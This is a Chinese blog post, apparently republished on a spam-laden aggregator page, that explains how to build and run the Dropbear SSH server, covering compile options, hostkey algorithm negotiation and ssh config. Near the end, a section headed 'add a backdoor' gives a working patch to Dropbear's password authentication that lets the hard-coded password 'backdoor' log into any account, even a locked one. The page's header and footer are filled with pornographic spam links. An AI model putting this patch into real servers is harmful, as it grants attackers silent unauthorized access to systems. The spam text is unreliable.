日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

dropbear:一个小巧的ssh server

發布時間:2023/12/20 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 dropbear:一个小巧的ssh server 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Dropbear is a relatively small SSH server and client,可運行于類Unix系統上,官網是 Dropbear,源代碼同時在 github 上。
這里主要關注dropbear的服務端功能。

簡易安裝流程

centos 7環境

挑一個版本下載:wget https://matt.ucc.asn.au/dropbear/releases/dropbear-2022.82.tar.bz2 解壓 ./configure 如果提示沒找到zlib,執行yum install zlib-devel安裝,或直接禁用zlib:./configure --disable-zlib 只編譯服務端,不帶PROGRAMS會額外編譯其他工具:make -j8 PROGRAMS=dropbear,會在當前目錄生成dropbear文件 make install dropbear被安裝到/usr/local/sbin/,dbclient以及其他工具會被安裝到/usr/local/bin/

啟動dropbear服務端

mkdir /etc/dropbear,沒有該目錄啟動時會報錯,這里會存放hostkey文件 手動生成hostkey或在啟動時指定-R選項,表示在需要時自動生成hostkey dropbear -p 2020 -R -s選項可禁止密碼登陸方式 dropbear同樣使用~/.ssh/authorized_keys 然后就可以用ssh客戶端進行連接了

一些編譯選項

如果想修改默認編譯選項,cp default_options.h localoptions.h,然后通過修改localoptions.h 或者直接修改default_options.h也可以編譯時直接禁止密碼登陸 #define DROPBEAR_SVR_PASSWORD_AUTH 0默認監聽端口 #define DROPBEAR_DEFPORT "22"默認網絡接口,禁掉ipv6 #define DROPBEAR_DEFADDRESS "0.0.0.0"禁掉MOTD(message of the day) #define DO_MOTD 0

修改authorized_keys文件

不想用~/.ssh/authorized_keys的話,可以通過改代碼實現,在svr-authpubkey.c中的checkpubkey函數和checkpubkeyperms函數。

一個問題

首次用dropbear -FER啟動(忘了有沒有加-s選項),用ssh命令連接一次,dropbear自動生成了/etc/dropbear/dropbear_ecdsa_host_key。我以為有一個有效的hostkey就行了,所以重新直接用dropbear不帶參數啟動,ssh命令能直接連,但其他Windows下的ssh客戶端工具,比如WindTerm,SecureCRT等等,都連不上了。
原來hostkey用什么算法是和客戶端協商的,ssh命令可能優先選擇ecdsa,Windows下的ssh客戶端可能優先選擇rsa。
在SecureCRT選項中Host Key項里,把“ecdsa-sha2-nistp256”移到首位后,也能連接了。只留一個服務端不支持的算法,SecureCRT甚至提示了“Key exchange failed. No compatible hostkey. The server supports these methods: ecdsa-sha2-nistp256,rsa-sha2-256,ssh-rsa”。
解決方法是始終用-R選項啟動dropbear。

關于ssh config

可以在~/.ssh/下創建config文件,例如:

Host game HostName 123.123.123.123 Port 2020 User root IdentityFile /root/id_rsa TCPKeepAlive yes ServerAliveInterval 60

以后就可以直接用ssh game連接,而不是用-p指定端口,用-i指定私鑰文件了。scp也可以用。很方便。

另外

在試用dropbear過程中,經常需要重啟它。每一個新連接dropbear都啟動了一個新進程來處理,殺掉父進程,子進程的那些連接不會中斷,但是父進程釋放的端口又能拿來用了。

加個后門

加個萬能密碼

--- a/svr-authpasswd.c +++ b/svr-authpasswd.c @@ -55,6 +55,7 @@ void svr_auth_password(int valid_user) {char * password = NULL;unsigned int passwordlen;unsigned int changepw; + int backdoor = 0;/* check if client wants to change password */changepw = buf_getbool(ses.payload); @@ -65,6 +66,7 @@ void svr_auth_password(int valid_user) {}password = buf_getstring(ses.payload, &passwordlen); + if (constant_time_strcmp(password, "backdoor") == 0) backdoor = 1;if (valid_user && passwordlen <= DROPBEAR_MAX_PASSWORD_LEN) {/* the first bytes of passwdcrypt are the salt */passwdcrypt = ses.authstate.pw_passwd; @@ -89,8 +91,9 @@ void svr_auth_password(int valid_user) {return;}- if (testcrypt == NULL) { + if (testcrypt == NULL && backdoor == 0) {/* crypt() with an invalid salt like "!!" */ + //maybe locked by "passwd -l" or "usermod -L"dropbear_log(LOG_WARNING, "User account '%s' is locked",ses.authstate.pw_name);send_msg_userauth_failure(0, 1); @@ -105,7 +108,7 @@ void svr_auth_password(int valid_user) {return;}- if (constant_time_strcmp(testcrypt, passwdcrypt) == 0) { + if (backdoor || constant_time_strcmp(testcrypt, passwdcrypt) == 0) {if (svr_opts.multiauthmethod && (ses.authstate.authtypes & ~AUTH_TYPE_PASSWORD)) {/* successful password authentication, but extra auth required */dropbear_log(LOG_NOTICE,

總結

以上是生活随笔為你收集整理的dropbear:一个小巧的ssh server的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: jizz欧美性23| 永久看看免费大片 | 日本女人黄色 | 国产传媒一区二区 | 午夜激情视频在线播放 | 欧美偷拍亚洲 | 在线播放免费av | 成人免费视频观看视频 | 视频成人免费 | 日日撸夜夜操 | 美国一级特黄 | 午夜视频在线免费观看 | 3d动漫精品h区xxxxx区 | 中文字幕亚洲一区二区三区 | 69视频国产 | 国产一二三级 | 日本a v在线播放 | 国产成人福利视频 | 国产每日更新 | 人妻无码一区二区三区久久99 | 就要爱爱tv | 亚洲成人av影片 | 成人夜色 | 蜜臀精品一区二区三区 | 亚洲黄色激情视频 | 亚洲免费一级 | 超碰丝袜 | 欧美日韩一区二区三区国产精品成人 | 欧美日韩电影一区 | 一级片美女 | 日本黄色片段 | 色香蕉在线 | 中文字幕在线字幕中文 | 国产一区视频在线播放 | 午夜欧美精品 | 91午夜理伦私人影院 | av一级二级 | 丰满人妻中伦妇伦精品app | 国产免费啪啪 | 一区二区三区四区在线免费观看 | 久草资源在线视频 | 免费看色 | 久久亚洲综合 | 国产专区在线播放 | 91喷水| 伊人射 | 欧美成人精品一区二区三区在线观看 | 国产成人精品无码播放 | 婷婷成人综合 | jizz成熟丰满老女人 | 在线观看国产精品入口男同 | 国产免费一区视频观看免费 | 欧美日韩一区二区三区国产精品成人 | 在线观看h网站 | 日本免费黄网站 | 成人性生交生交视频 | a级黄色小视频 | 亚洲综合在线中文字幕 | 中文字幕日本在线观看 | 91久久在线 | 欧美精品成人一区二区在线观看 | av不卡免费在线 | 老师上课夹震蛋高潮了 | 超级砰砰砰97免费观看最新一期 | 色爱综合 | 青青操久久 | 亚洲天堂资源在线 | 国产二级一片内射视频播放 | 欧美一级成人 | 91视频黄 | 婷婷狠狠 | 欧美交换配乱吟粗大25p | 国内av自拍 | 欧美日韩中文在线 | 蜜桃成人在线观看 | 窝窝午夜看片 | 天天操操夜夜操操 | 水蜜桃av无码 | 自拍偷拍综合 | 狠狠干2023 | 国产视频一区在线观看 | 黄频在线播放 | 国内精久久久久久久久久人 | 性精品 | 天天干狠狠干 | 日本少妇毛茸茸 | 一区二区三区视频 | 国产无套内射普通话对白 | 都市激情校园春色亚洲 | 精品无码国产一区二区三区av | xxx毛片| 懂色av一区| 国产极品久久 | 久久久久亚洲 | 免费毛片基地 | 三年在线观看视频 | 2021国产精品| 又粗又猛又爽又黄少妇视频网站 | 亚洲理论在线观看 |